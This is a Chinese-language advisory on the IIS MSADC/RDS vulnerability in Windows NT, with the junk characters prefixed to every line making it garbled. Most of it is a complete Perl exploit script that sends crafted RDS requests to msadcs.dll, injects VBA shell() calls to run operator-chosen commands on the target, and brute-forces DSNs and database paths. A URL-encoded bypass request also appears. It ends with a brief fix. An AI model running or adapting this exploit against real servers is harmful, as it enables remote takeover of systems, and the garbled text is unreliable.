IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
57aXQ8u{ ~W*FCG#E 涉及程序：
0*VWzH
Microsoft NT server
`K*Q5n $ Y;U[_l# 描述：
%W 'v} p 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
4X gg%@C \$R_YKGf1G 详细：
K'5 5O&2 如果你没有时间读详细内容的话，就删除:
t9nqu!); c:\Program Files\Common Files\System\Msadc\msadcs.dll
Y1L[;)H n 有关的安全问题就没有了。
16w|O |^< { SOr#{1z* 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
_> f`!PlB| :8I9\eet3 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
2iHUZzz\ 关于利用ODBC远程漏洞的描述，请参看:
-#7'r<I9@ #r$cyV!k http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Hfv 7LM < qtr 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
?fiIwF) http://www.microsoft.com/security/bulletins/MS99-025faq.asp q6@Lp^f gK_Ymq5>"M 这里不再论述。
)}g(b= )5rb &M} 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
m]; ]7uB5= 26e]`]!SU /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
u$h
4lIl 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
.R E:;<|w Az9?Ra;U \<.+rqa ! #将下面这段保存为txt文件，然后: "perl -x 文件名"
VX]. 3=T8 8H;t_B #!perl
+"x,x #
neB\q[k # MSADC/RDS 'usage' (aka exploit) script
B+Rm>^CBm #
j -0z5|*KE # by rain.forest.puppy
"76 ]u) #
U GD2
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Z" Zmo>cV4 # beta test and find errors!
.O74V~T l2`s! ,<>O use Socket; use Getopt::Std;
WgR).Yx getopts("e:vd:h:XR", \%args);
T{Gj+7bQ~ g=39C> print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
3Q"<<pi!~ BYpG if (!defined $args{h} && !defined $args{R}) {
M.Y~1c4f print qq~
3? [dE< Usage: msadc.pl -h <host> { -d <delay> -X -v }
5BWH-2HsB -h <host> = host you want to scan (ip or domain)
! \"EFVH -d <seconds> = delay between calls, default 1 second
# G .ulX -X = dump Index Server path table, if available
;QWIsVz -v = verbose
wi;Br[d -e = external dictionary file for step 5
@"hb) 8ng V E#Wb7 Or a -R will resume a command session
_+p4Wvu~0 #eQJEajv5 ~; exit;}
zepm!JR1 dUsYZdQs $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
E4xj?m^(y= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
s2teym,uG if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;P;-}u if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
/rM I"khB $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
OJ ,` if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
zer %W% 0M*Z'n
+ if (!defined $args{R}){ $ret = &has_msadc;
T3~k>"W die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
x8wD 0D }
uO); k5H print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4S5,w(6N . "cmd /c ";
O9vQp $in=<STDIN>; chomp $in;
?:
N @!jeJ $command="cmd /c " . $in ;
<L`KzaA R?68*}
`7 if (defined $args{R}) {&load; exit;}
S)lkz'tdk +s(HOq) b print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
XDsx3Ws &try_btcustmr;
L wrUQ) 0":ib0= print "\nStep 2: Trying to make our own DSN...";
./,/y"x &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
B{| 8#jqY Yb +yw_5 print "\nStep 3: Trying known DSNs...";
>CrA;\l &known_dsn;
c0PIc^R(@ RLw;(*(g print "\nStep 4: Trying known .mdbs...";
p qfUW+> &known_mdb;
Ewu O&q
\!>3SKs(e if (defined $args{e}){
"*m_> IU print "\nStep 5: Trying dictionary of DSN names...";
m4aB*6<lq &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`Zf^E
>) |y&*MTfV4L print "Sorry Charley...maybe next time?\n";
s1=X>'q exit;
Iz sphBI e9 1aK ##############################################################################
&Nj3h( Ll J!0DR4=Xi sub sendraw { # ripped and modded from whisker
s@9vY\5[9 sleep($delay); # it's a DoS on the server! At least on mine...
q-.,nMUF my ($pstr)=@_;
u\ #"L socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;-9=RI0 die("Socket problems\n");
8C[C{qOJ if(connect(S,pack "SnA4x8",2,80,$target)){
plUZ"Tr select(S); $|=1;
WfWN(:dF print $pstr; my @in=<S>;
pNOwDJtK select(STDOUT); close(S);
t0o`-d( return @in;
21
O'M } else { die("Can't connect...\n"); }}
K&nE_.kbl @{YS}&Q / ##############################################################################
|kw)KEi}H o}W%I/s sub make_header { # make the HTTP request
74H )|Dkx my $msadc=<<EOT
>ZPsjQuf" POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
FuVnk~gq User-Agent: ACTIVEDATA
"l*Pd$sr Host: $ip
7l'6g g Content-Length: $clen
s~>d:' k7| Connection: Keep-Alive
)>.&N[v 8)O[Aq:: ADCClientVersion:01.06
TT'[qfAI Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
MNC*Gl j= j/>$, --!ADM!ROX!YOUR!WORLD!
V=zi
>o` Content-Type: application/x-varg
'$|[R98 Content-Length: $reqlen
_z'u pb& e<=cdze EOT
)=5 ng- ; $msadc=~s/\n/\r\n/g;
#bMuvaP~ return $msadc;}
fIj|4a+ "$N#p5 ##############################################################################
LJ*q 1
;<E y=`2\L" O sub make_req { # make the RDS request
m1), ;RsH my ($switch, $p1, $p2)=@_;
K%" 5ImM my $req=""; my $t1, $t2, $query, $dsn;
LNrX;{ Z 2W/?q!t if ($switch==1){ # this is the btcustmr.mdb query
cc#gEm)3C $query="Select * from Customers where City=" . make_shell();
w9NHk~LHKF $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*"D3E7AO $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
I2 j}Am t"k*PA elsif ($switch==2){ # this is general make table query
Pdt 6nzfr $query="create table AZZ (B int, C varchar(10))";
u:[vaBh91 $dsn="$p1";}
b+@JY2dvj X=hYB}}n u elsif ($switch==3){ # this is general exploit table query
@c<3b2 $query="select * from AZZ where C=" . make_shell();
-sw
. $dsn="$p1";}
Cz 72?[6 / x5rf elsif ($switch==4){ # attempt to hork file info from index server
>iD )eB $query="select path from scope()";
{P{bOe $dsn="Provider=MSIDXS;";}
0Uz\H0T1 )^4\,u\@ elsif ($switch==5){ # bad query
_C(m<n $query="select";
^zt-HDBR_ $dsn="$p1";}
m\$\ 09 !OA]s%u $t1= make_unicode($query);
;\lW5ZX $t2= make_unicode($dsn);
c8L~S/ t $req = "\x02\x00\x03\x00";
hg+X(0 $req.= "\x08\x00" . pack ("S1", length($t1));
f2^r[kPX" $req.= "\x00\x00" . $t1 ;
JS*m65e $req.= "\x08\x00" . pack ("S1", length($t2));
bKrhIU[ $req.= "\x00\x00" . $t2 ;
T{Sb^-H#X $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
!eEHmRgg4 return $req;}
} w
5 l O+?<h{" ##############################################################################
b!sRk@LGZ EGZb7:Y? sub make_shell { # this makes the shell() statement
dgA-MQ5{ return "'|shell(\"$command\")|'";}
EX ?MA6U j:E<p_T ##############################################################################
u oHNn 7 W blTo5N LX sub make_unicode { # quick little function to convert to unicode
\RvvHty-V my ($in)=@_; my $out;
J.ck~;3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
GlbySD@ return $out;}
wvbPnf^y 7VMvF/ap]u ##############################################################################
<5NF; =|I>G?g- sub rdo_success { # checks for RDO return success (this is kludge)
c0hwc1kv- my (@in) = @_; my $base=content_start(@in);
=dII- L=` if($in[$base]=~/multipart\/mixed/){
qEpi] =| return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Z00+!Tnd return 0;}
N 5i+3& W Dg+J ##############################################################################
SE),":aY DdVF, sub make_dsn { # this makes a DSN for us
/c2w/+ _ my @drives=("c","d","e","f");
>y[oP!- |P print "\nMaking DSN: ";
L{(QpgHZ foreach $drive (@drives) {
=li | print "$drive: ";
9A,^c; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
% *&UJpbA "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
)h k . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
emdoA:w+ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
TZ2=O<Kj return 0 if $2 eq "404"; # not found/doesn't exist
J41G&$j( if($2 eq "200") {
~ug=
{b foreach $line (@results) {
LE*h9( ( return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
r=6v`)Qr } return 0;}
j{NNSi 3 7oq[38zB ##############################################################################
b^p"|L h=(DX5:A sub verify_exists {
5g9; +}X; my ($page)=@_;
%-<'QYYP my @results=sendraw("GET $page HTTP/1.0\n\n");
Clh!gpB c return $results[0];}
xia |+ cIp
D~0\ ##############################################################################
vP !{",> +r eor@h sub try_btcustmr {
t
0-(U\ my @drives=("c","d","e","f");
*Mw_0Y my @dirs=("winnt","winnt35","winnt351","win","windows");
L5qwWvbT V^\8BVw foreach $dir (@dirs) {
h+a S4Q& print "$dir -> "; # fun status so you can see progress
Z7RiPSdxp foreach $drive (@drives) {
?}m']4p print "$drive: "; # ditto
jq+A-T}@ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
k i Ra+w: $reqlenlen=length( "$reqlen" );
jiYmb8Q4D $clen= 206 + $reqlenlen + $reqlen;
bzvh%RsW : _@JA0n my @results=sendraw(make_header() . make_req(1,$drive,$dir));
J]q%gcM if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Y}[ c^$S else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
%~jkB.\* ) 3 q`)* ##############################################################################
YSj+\Z$( 8X I? sub odbc_error {
V=lfl1Ev0J my (@in)=@_; my $base;
5* 0y7K/D my $base = content_start(@in);
;L,mBQB?0b if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ixV0|P8,c $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Rcawc
Y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4T?h $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
eQVZO>)P1+ return $in[$base+4].$in[$base+5].$in[$base+6];}
aDehqP6vf print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
y B3; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
m~dC3}e8/? $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
0d3+0 EN{ TuW/N
L| ##############################################################################
z
Nl , z.CywME<)t sub verbose {
cW{1
Pz^_ my ($in)=@_;
t w(J ZDc return if !$verbose;
NNF>Xa`9, print STDOUT "\n$in\n";}
d oB LC})ciWa ##############################################################################
Gdg )9 &<+ A((/i sub save {
_$p$") my ($p1, $p2, $p3, $p4)=@_;
E7Ulnvd open(OUT, ">rds.save") || print "Problem saving parameters...\n";
!=y] Sv~h print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
YhRWz=l close OUT;}
!sRngXCXk? Iu{kP yx ##############################################################################
jn: NYJv -kS~xVS| sub load {
m] W5 + my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
i[ $0a4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
JMCW} bA @p=<IN>; close(IN);
0Hs|*:Y1D $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
fl;s9:< $target= inet_aton($ip) || die("inet_aton problems");
.7
asW ( print "Resuming to $ip ...";
5'Q|EIL $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
k@ K7yK if($p[1]==1) {
fRfn2jA)d $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
!J =sk4T $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
c,Euv>*` my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
7 t?* if (rdo_success(@results)){print "Success!\n";}
Sggq3l$Qc else { print "failed\n"; verbose(odbc_error(@results));}}
)?2e elsif ($p[1]==3){
(Z}>1WRju if(run_query("$p[3]")){
S2>c#BQ print "Success!\n";} else { print "failed\n"; }}
@VN&t:/ l elsif ($p[1]==4){
L.T? } o if(run_query($drvst . "$p[3]")){
4G@ nZn print "Success!\n"; } else { print "failed\n"; }}
{} Bf exit;}
HAYMX:% TM8 =U-A ##############################################################################
}dxDt qb A!vCb
8(TX sub create_table {
}P3tn my ($in)=@_;
c>1RP5vx $reqlen=length( make_req(2,$in,"") ) - 28;
" v}pdUW $reqlenlen=length( "$reqlen" );
kF;5L)o $clen= 206 + $reqlenlen + $reqlen;
CAT.4GM my @results=sendraw(make_header() . make_req(2,$in,""));
h C=:q return 1 if rdo_success(@results);
/j"sS2$U my $temp= odbc_error(@results); verbose($temp);
&/A 8-:m return 1 if $temp=~/Table 'AZZ' already exists/;
Ke-)vPc return 0;}
,&Wn [G< 2 $^ 'aCU0C ##############################################################################
&ff&Y.q~ |BZDhd9<{ sub known_dsn {
" 7d-z<^n # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
OquAql: my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Sb".] >^ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
W2;N<[wa<u "banner", "banners", "ads", "ADCDemo", "ADCTest");
GF k1/ F Zs2 -u^3& foreach $dSn (@dsns) {
K={qU[_O print ".";
J
wm T / next if (!is_access("DSN=$dSn"));
)R_E|@" if(create_table("DSN=$dSn")){
m6
s7F/ print "$dSn successful\n";
rg_Q "g if(run_query("DSN=$dSn")){
GO! uwo: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
X~ Rl 6/, print "Something's borked. Use verbose next time\n";}}} print "\n";}
T88Y
qI !5}l&7:(MN ##############################################################################
hIJ) MZU| 6
fz} sub is_access {
zHfP+(ah my ($in)=@_;
w> xV $reqlen=length( make_req(5,$in,"") ) - 28;
+~nzii3 $reqlenlen=length( "$reqlen" );
~Z$bf>[(R7 $clen= 206 + $reqlenlen + $reqlen;
(IbW; bV my @results=sendraw(make_header() . make_req(5,$in,""));
"k $JP my $temp= odbc_error(@results);
K 3GSOD> verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3}1ssU"T return 0;}
w' 7R4 rAdacnZV ##############################################################################
p 3^jGj@ *oI*- C sub run_query {
]7A X%EG3 my ($in)=@_;
MVv1.6c7Y $reqlen=length( make_req(3,$in,"") ) - 28;
\
u+xa{b| $reqlenlen=length( "$reqlen" );
qu6DQ@
~YC $clen= 206 + $reqlenlen + $reqlen;
vOI[Z0Lq9h my @results=sendraw(make_header() . make_req(3,$in,""));
Wx)K* 9 return 1 if rdo_success(@results);
!wLg67X$
- my $temp= odbc_error(@results); verbose($temp);
Lp:6 ; return 0;}
M] V.!z9B ^a9 oKI 9n ##############################################################################
oCi
~P}r fn{S
"33" sub known_mdb {
PHM:W%g: my @drives=("c","d","e","f","g");
s]B"qF A my @dirs=("winnt","winnt35","winnt351","win","windows");
1D([@)^ my $dir, $drive, $mdb;
dpN@#w my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
'3l$al:H^ mZ0J!QYk # this is sparse, because I don't know of many
Y\/gU8w/ my @sysmdbs=( "\\catroot\\icatalog.mdb",
?T:
jk4+ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
-[#n+`M "\\system32\\certmdb.mdb",
1ywU@].6J] "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ES:!Vx9t0| z xZtz my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
r ;cV&T/?
"\\cfusion\\cfapps\\forums\\forums_.mdb",
Sj
3oV "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
!#D=w$@r: "\\cfusion\\cfapps\\security\\realm_.mdb",
GSVdb/+ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
rE!1 wc>L "\\cfusion\\database\\cfexamples.mdb",
msTB'0 "\\cfusion\\database\\cfsnippets.mdb",
h!]"R<QQdu "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
17UK1Jx, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3=4SGt5m "\\cfusion\\brighttiger\\database\\cleam.mdb",
+`| *s3M "\\cfusion\\database\\smpolicy.mdb",
p_terD: "\\cfusion\\database\cypress.mdb",
f_ r0}) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
!)OB@F%U "\\website\\cgi-win\\dbsample.mdb",
Fq,N "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
q7]>i! A "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
m24v@?* ); #these are just
+QqH}=
M foreach $drive (@drives) {
e 3@x*XI foreach $dir (@dirs){
6!7Pm>ml foreach $mdb (@sysmdbs) {
.{rbw9 print ".";
~5#)N{GbY if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
9fVj
8G print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
cz.3|Lby if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
x6yW:tUG5 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
L= 1 ~ f- } else { print "Something's borked. Use verbose next time\n"; }}}}}
)@ PnTpL* mA{#]Yvf1 foreach $drive (@drives) {
iK}v`xq foreach $mdb (@mdbs) {
Gi$gtLtN h print ".";
2 >y:N. if(create_table($drv . $drive . $dir . $mdb)){
Z$2L~j"=! print "\n" . $drive . $dir . $mdb . " successful\n";
nmE5]Pcg if(run_query($drv . $drive . $dir . $mdb)){
,?b7 8_,2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
03E3cp " } else { print "Something's borked. Use verbose next time\n"; }}}}
Kmry=`=A }
N~#D\X^t. u( vw|nj` ##############################################################################
kV^?p W8/(;K`/ sub hork_idx {
lCFU1 GHH print "\nAttempting to dump Index Server tables...\n";
A PHPN:v print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
#MM &BC $reqlen=length( make_req(4,"","") ) - 28;
,t~sV@ap $reqlenlen=length( "$reqlen" );
G,DOBA $clen= 206 + $reqlenlen + $reqlen;
!k h{9I>M my @results=sendraw2(make_header() . make_req(4,"",""));
1i,4".h?M if (rdo_success(@results)){
@\!!t{y my $max=@results; my $c; my %d;
Y+|PY?
~ for($c=19; $c<$max; $c++){
Dc:DY:L^
$results[$c]=~s/\x00//g;
PNmF}" $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6&],WGz $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
kMS5h~D[ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
xyV]?~7 $d{"$1$2"}="";}
?M"HX u foreach $c (keys %d){ print "$c\n"; }
hAa[[%wPhU } else {print "Index server doesn't seem to be installed.\n"; }}
4I ,o&TK (t74a E pi ##############################################################################
uX0
Bp8P ,8`O7V {W sub dsn_dict {
|BJqy/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
S Kx e3
while(<IN>){
h6FgS9H $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
:0df B&7 next if (!is_access("DSN=$dSn"));
w b+<a if(create_table("DSN=$dSn")){
0^iJlR2 print "$dSn successful\n";
.;Z.F7{q if(run_query("DSN=$dSn")){
RUc \u93n print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
TolrEcI print "Something's borked. Use verbose next time\n";}}}
<UK5 eVQn print "\n"; close(IN);}
V85.DK! |8;?
*s`H ##############################################################################
rIPl6,w~ <,-,? sub sendraw2 { # ripped and modded from whisker
SY8U"Qc; 9 sleep($delay); # it's a DoS on the server! At least on mine...
2lJZw@ my ($pstr)=@_;
R\ q):, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
th Q J(w die("Socket problems\n");
{9{J^@ @ if(connect(S,pack "SnA4x8",2,80,$target)){
dqwWfn1lt print "Connected. Getting data";
KDaN-r^{% open(OUT,">raw.out"); my @in;
K051usm select(S); $|=1; print $pstr;
dk 4D+*R while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=V CQ* close(OUT); select(STDOUT); close(S); return @in;
!3?~#e{_ } else { die("Can't connect...\n"); }}
;r=? BbND? M%;"c?g ##############################################################################
>gGi l|I N.n1< sub content_start { # this will take in the server headers
tzmETRwG my (@in)=@_; my $c;
L
B<UC?e for ($c=1;$c<500;$c++) {
P09,P if($in[$c] =~/^\x0d\x0a/){
f:FpyCo=9 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
omT(3)TP else { return $c+1; }}}
mOSCkp{<e return -1;} # it should never get here actually
\086O9 XP4jZCt9 ##############################################################################
2i"HqAB ~RCg. &[ou sub funky {
pNSst_!> my (@in)=@_; my $error=odbc_error(@in);
d{l{P] nr if($error=~/ADO could not find the specified provider/){
,-!2 5G print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?0 m?7{ exit;}
ac3_L$X[ if($error=~/A Handler is required/){
vQcUaPm\$ print "\nServer has custom handler filters (they most likely are patched)\n";
fxOE]d8v exit;}
e
%& if($error=~/specified Handler has denied Access/){
z2ds 8-z print "\nServer has custom handler filters (they most likely are patched)\n";
ifd}]UMQ exit;}}
h\2}875 oM2|]ew) ##############################################################################
>waN;&> / Qv\bLR sub has_msadc {
O68 b zi] my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
WySNL#>a my $base=content_start(@results);
%d b3f
z return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
p ^](3Vi( return 0;}
@N]5& 4NL q< b"M$ ########################
-S7RRh'p t+jIHo u9 %;{:]h 解决方案：
#Af)n( 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
T 4vogoy 2、移除web 目录: /msadc
